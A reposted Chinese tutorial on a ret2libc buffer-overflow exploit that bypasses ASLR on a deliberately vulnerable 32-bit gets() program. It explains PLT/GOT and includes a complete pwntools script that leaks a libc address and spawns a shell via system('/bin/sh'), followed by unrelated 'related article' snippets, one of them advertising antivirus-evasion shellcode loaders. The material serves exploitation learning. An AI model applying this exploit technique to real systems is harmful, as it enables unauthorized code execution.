ret2libc过地址随机化

程序:

#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{char buf1[10];gets(buf1);
}
void main()
{write(1,"sinxx",5);vul();
}

很明显,gets函数存在溢出
编译:

gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c

我们要用溢出,执行system("/bin/sh")函数

0x01 了解plt和got表

具体了解,看这篇文章:https://blog.csdn.net/qq_18661257/article/details/54694748

为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GOT表中的一个地址,可以理解为一定是一一对应的,如下图:

在这里插入图片描述

实际当中并不是,这里只是为了方便理解,画成这样,具体可看上面的文章

PLT表中的每一项的数据内容都是对应的GOT表中一项的地址这个是固定不变的,到这里大家也知道了PLTPLT表中的数据根本不是函数的真实地址,而是GOT表项的地址,好坑啊。

其实在大家进入带有@plt标志的函数时,这个函数其实就是个过渡作用,因为GOT表项中的数据才是函数最终的地址,而PLT表中的数据又是GOT表项的地址,我们就可以通过PLT表跳转到GOT表来得到函数真正的地址。

我们反汇编我们的程序,其中有下图中的write<@plt> ,这个地址并不是write函数真正的地址,这个是GOT表存放write函数地址数据的地址。
在这里插入图片描述
我们要记得plt表中并不是函数真是的地址,got表才是函数真正的地址,plt给的地址是来寻找got表中真正的函数地址。

0x02 分析

我们来看看保护机制:

在这里插入图片描述
虽然关闭了PIE,这个只是对这个程序来说没有PIE,当我们去执行system("/bin/sh"),动态调用,这个还是有地址随机化的。

我们要找到system和/bin/sh真正的地址,采用利用溢出去执行。

0x03 找到溢出点

利用pade生成100个字符

pattern create 100

在这里插入图片描述
使用命令c,让程序继续执行,复制我们生成的字符串,注意单引号不要复制
在这里插入图片描述
溢出了,查看现在的EIP,AA(A
使用命令查看溢出位置

pattern offset AA(A

在这里插入图片描述
溢出在22

0x04 构造poc

from pwn import *
context(arch="i386",os="linux")
p=process("9.exe")
e=ELF("9.exe")		#加载9.exe这个文件
addr_write=e.plt["write"]	#找到plt表中write地址
addr_gets=e.got["gets"]		#找到got表中get地址
addr_vul=e.symbols["vul"]	#找到vul函数地址print pidof(p)
offset=22
pause()payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1)	#接收sinxx后发送payload1
gets_real_addr=u32(p.recv(4))		#将接收到的字符变成32位地址libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]
addr_system=rva_libc+libc.symbols["system"]
addr_binsh=rva_libc+libc.search("/bin/sh").next()payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)
p.sendline(payload2)
p.interactive()

解释:

  • addr_write=e.plt[“write”] #找到plt表中write地址
    这个是找plt表中的地址,程序调用函数是先调用plt表中的地址,然后根据这个去找got表中真实的函数地址。
  • addr_gets=e.got[“gets”] #找到got表中get地址
    这个是找到gets函数真正的地址,是为了后面找system和/bin/sh真实地址做准备的
  • rva_libc=gets_real_addr-libc.symbols[“gets”]
    gets_real_addr是gets真实的地址,libc.symbols[“gets”]是gets在libc中的偏移地址,真实地址与偏移地址是不一样的,我们可以根据这个差,然后找到system和/bin/sh在libc中偏移地址,两者在相加就找到了system和/bin/sh的真实地址。

注意:poc中一共执行了两次poc,一次是执行按照执行顺序执行力一次,一次是payload1中执行执行了一次

很多人就有疑问了,我们为什么不直接找到system和/bin/sh在got的地址呢?

我们也想找到啊!关键它得有啊!
为了更好的用户体验和内存CPU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT和GOT是程序编译时采用,所以system和/bin/sh并不在程序中,所以没有。

结果:
在这里插入图片描述

0x05 总结

我们利用溢出执行了程序没有的函数,虽然程序中是没有地址随机化的,但我们利用溢出去执行的函数所在的模块是有的,所以我们要把每次的变化求出来。

我们根据程序使用了libc库,libc库中有system和.bin/sh,所以我们可在libc找到system和.bin/sh,在libc中,我们找出system和.bin/sh的地址是偏移地址,但不是真正的地址,所以我们还需要计算出偏移量,根据gets函数,找到gets在GOT表中真实的地址,再找出在libc库的偏移地址,两者相减就找出了偏移量,最后根据偏移量和出system和.bin/sh的偏移地址,最终找到system和/bin/sh真实地址

关键是理解plt、got和偏移地址的关系,其他很好理解

注:自己理解,如有错误,请指出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/379990.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[导入]Lucene并发访问

作者: yagesi 链接&#xff1a;http://yagesi.javaeye.com/blog/165604 发表时间: 2008年02月27日 声明&#xff1a;本文系JavaEye网站发布的原创博客文章&#xff0c;未经作者书面许可&#xff0c;严禁任何网站转载本文&#xff0c;否则必将追究法律责任&#xff01; 在Luce…

Python程序计算给定文本中单词的出现

Given a text (paragraph) and a word whose occurrence to be found in the text/paragraph, we have to find the how many times word is repeated in the text. 给定一个文本 (段落)&#xff0c;其出现在文本/段落被找到的单词 &#xff0c;我们必须找到如何词多次在文本重…

js私有共有成员

在小项目中对于JavaScript使用&#xff0c;只要写几个function就行了。但在大型项目中&#xff0c;尤其是在开发追求 良好的用户体验的网站中&#xff0c;如SNS,就会 用到大量的JavaScrpt&#xff0c;有时JavaScript的工作量胜过了C#&#xff0c;这时写一堆function,就会显得很…

Java——IO(打印流)

1&#xff0c;打印字节流(PrintStream)的概述&#xff1a; 打印流可以很方便的将对象的toString()结果输出并且自动加上换行&#xff0c;而且可以使用自动刷出的模式 System.out就是一个PrintStream&#xff0c;其默认向控制台输出信息 2&#xff0c;使用方式&#xff1a; …

MATLAB中的正态分布检验

要对一组样本进行正态性检验&#xff0c;在MATLAB中&#xff0c;一种方法是用normplot画出样本&#xff0c;如果都分布在一条直线上&#xff0c;则表明样本来自正态分布&#xff0c;否则是非正态分布。 MATLAB中也提供了几种更正式的检验方法&#xff1a;kstest Kolmogorov-Smi…

远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

0x00 免杀能力一览表 几点说明&#xff1a; 1、表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家…

kotlin 或 运算_Kotlin程序对两个数字执行算术运算

kotlin 或 运算Here, we are implementing a Kotlin program to perform various arithmetic operations on two numbers. 在这里&#xff0c;我们正在实现Kotlin程序&#xff0c;以对两个数字执行各种算术运算 。 Given two numbers a and b, we have to find addition, sub…

2012.1.15---学习笔记

最近学习实践的内容主要有&#xff1a;1 memcahche的安装、使用&#xff08;为了减少数据库压力而采用的&#xff09;2 linux下的定时任务的配置&#xff0c;crontab3 如何去编写可配置的php程序&#xff08;加载配置文件&#xff09;1 memcahche的安装、使用&#xff08;为了减…

WPF界面设计技巧(2)—自定义漂亮的按钮样式

上次做了个很酷的不规则窗体&#xff0c;这次我们来弄点好看的按钮出来&#xff0c;此次将采用纯代码来设计按钮样式&#xff0c;不需要 Microsoft Expression Design 辅助了。 首先打开 Microsoft Visual Studio 2008 &#xff0c;新建一个WPF项目&#xff0c;在上面随便放几个…

ropgadgets与ret2syscall技术原理

程序&#xff1a; #include <stdio.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #include <sys/syscall.h> void exploit() { system("/bin/sh"); } void func() { char str[0x20]; read(0,str,0x50); } int…

uboot load address、entry point、 bootm address以及kernel运行地址的意义及联系

按各地址起作用的顺序&#xff0c;uboot引导linux内核启动涉及到以下地址&#xff1a; load address&#xff1a;entry point&#xff1a; 这两个地址是mkimage时指定的bootm address&#xff1a;bootm为uboot的一个命令&#xff0c;以此从address启动kernelkernel运行地址&…

Java——集合(Map集合的两种迭代)

一&#xff0c;Map集合的第一种迭代 Map集合的第一种迭代&#xff0c;通过get(key)方法&#xff0c;根据键去获取值 package com.wsq.map;import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Set;public class Demo2_Iterator { …

如何使用两个堆栈实现队列_使用两个队列实现堆栈

如何使用两个堆栈实现队列Stack and Queue at a glance... 堆叠和排队一目了然... Stack: 堆栈&#xff1a; The stack is an ordered list where insertion and deletion are done from the same end, top. The last element that entered first is the first one to be del…

接口pk抽象类

作为开发者&#xff0c;谁从来没有陷入过周而复始地争论应该是使用接口还是抽象类&#xff1f;这是一场永无休止的争论&#xff0c;不同阵营的人总是坚定地坚持自己的立场。应当使用接口还是抽象类&#xff1f;对于初学者来说那更是满头雾水。这个问题应该考虑一下几个因素&…

汇编shr命令

右移命令 比如&#xff1a; mov eax,10 shr eax,0x2上面的命令是将eax的值右移两位&#xff0c;怎么左移呢&#xff1f;首先将eax的值转为二进制10------》1010&#xff0c;然后右移两位变成10&#xff0c;所以执行为shr命令&#xff0c;eax的值为十进制的2

iBatis入门和开发环境搭建

iBatis 的优缺点&#xff1a; 优点&#xff1a; 1、 减少代码量&#xff0c;简单&#xff1b; 2、 性能增强&#xff1b; 3、 Sql 语句与程序代码分离&#xff1b; 4、 增强了移植性&#xff1b; 缺点&#xff1a; 1、 和Hibernate 相比&#xff0c;sql 需要自己写&#x…

Python | 程序以字符串长度打印单词

Given a string and we have to split the string into words and also print the length of the each word in Python. 给定一个字符串&#xff0c;我们必须将字符串拆分为单词&#xff0c;并在Python中打印每个单词的长度。 Example: 例&#xff1a; Input:str "Hell…

Java——递归练习

#练习一&#xff1a;从键盘接收一个文件夹路径&#xff0c;统计该文件夹大小 ###分析&#xff1a; ####每句话相当与每一个要求&#xff0c;每一个要求用一个方法去实现 第一个方法 * getDir()* 第一个要求&#xff1a;从键盘接收一个文件夹路径* 1&#xff0c;创建键盘录入对…

C# 里怎样得到当前执行的函数名,当前代码行,源代码文件名。

得到函数名&#xff1a; System.Diagnostics.StackTrace st new System.Diagnostics.StackTrace(); this.Text st.GetFrame(0).ToString(); 得到代码行&#xff0c;源代码文件名&#xff1a; StackTrace st new StackTrace(new StackFrame(true)); Console…

PHP中单引号和双引号的区别

0x01 单引号 单引号里面的内容不会被解释&#xff0c;不管什么内容&#xff0c;都当做字符串处理 <?php$abc1234; $stradc$abc; echo $str;输出 0x02 双引号 双引号里面的内容会被解释&#xff0c;像一些换行&#xff08;\n)、数据元素等都会被解释 <?php$abc1234;…